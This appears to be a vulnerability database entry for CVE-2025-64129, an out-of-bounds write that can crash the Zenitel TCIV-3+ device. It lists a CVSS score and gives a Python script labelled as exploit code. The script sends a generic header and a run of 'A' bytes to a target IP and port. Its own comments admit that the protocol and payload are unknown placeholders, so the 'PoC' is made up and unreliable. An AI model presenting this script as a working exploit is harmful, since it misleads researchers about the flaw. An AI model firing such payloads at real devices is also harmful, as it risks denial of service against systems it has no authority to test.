Zenitel TCIV-3+ is vulnerable to an out-of-bounds write
vulnerability, which could allow a remote attacker to crash the device.
CVSS Details
CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H
Configurations (Affected Products)
No configuration data available.
Zenitel TCIV-3+ 固件版本 < 最新安全补丁版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64129 PoC - Zenitel TCIV-3+ Out-of-bounds Write
# Note: This PoC is for educational and security testing purposes only
# Unauthorized use against systems you don't own is illegal
import socket
import struct
import sys
def create_exploit_payload():
"""
Generate exploit payload for CVE-2025-64129
The actual vulnerable service port and payload structure
needs to be determined through further analysis
"""
# Base header
header = b'\x00\x01\x00\x00' # Protocol header
# Length field (to be adjusted based on target)
length = struct.pack('>I', 0x1000)
# Crafted payload that triggers out-of-bounds write
# This is a placeholder - actual exploitation requires:
# 1. Service fingerprinting
# 2. Protocol analysis
# 3. Memory corruption pattern identification
payload = b'\x41' * 512 # Pattern to identify overflow point
return header + length + payload
def send_exploit(target_ip, target_port=80):
"""Send exploit payload to target"""
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect((target_ip, target_port))
payload = create_exploit_payload()
sock.send(payload)
print(f'[+] Exploit sent to {target_ip}:{target_port}')
print(f'[+] Payload size: {len(payload)} bytes')
# Wait for response
try:
response = sock.recv(1024)
print(f'[*] Response received: {len(response)} bytes')
except socket.timeout:
print('[*] No response (target may have crashed)')
sock.close()
return True
except Exception as e:
print(f'[-] Error: {str(e)}')
return False
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f'Usage: python {sys.argv[0]} <target_ip> [port]')
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 80
send_exploit(target, port)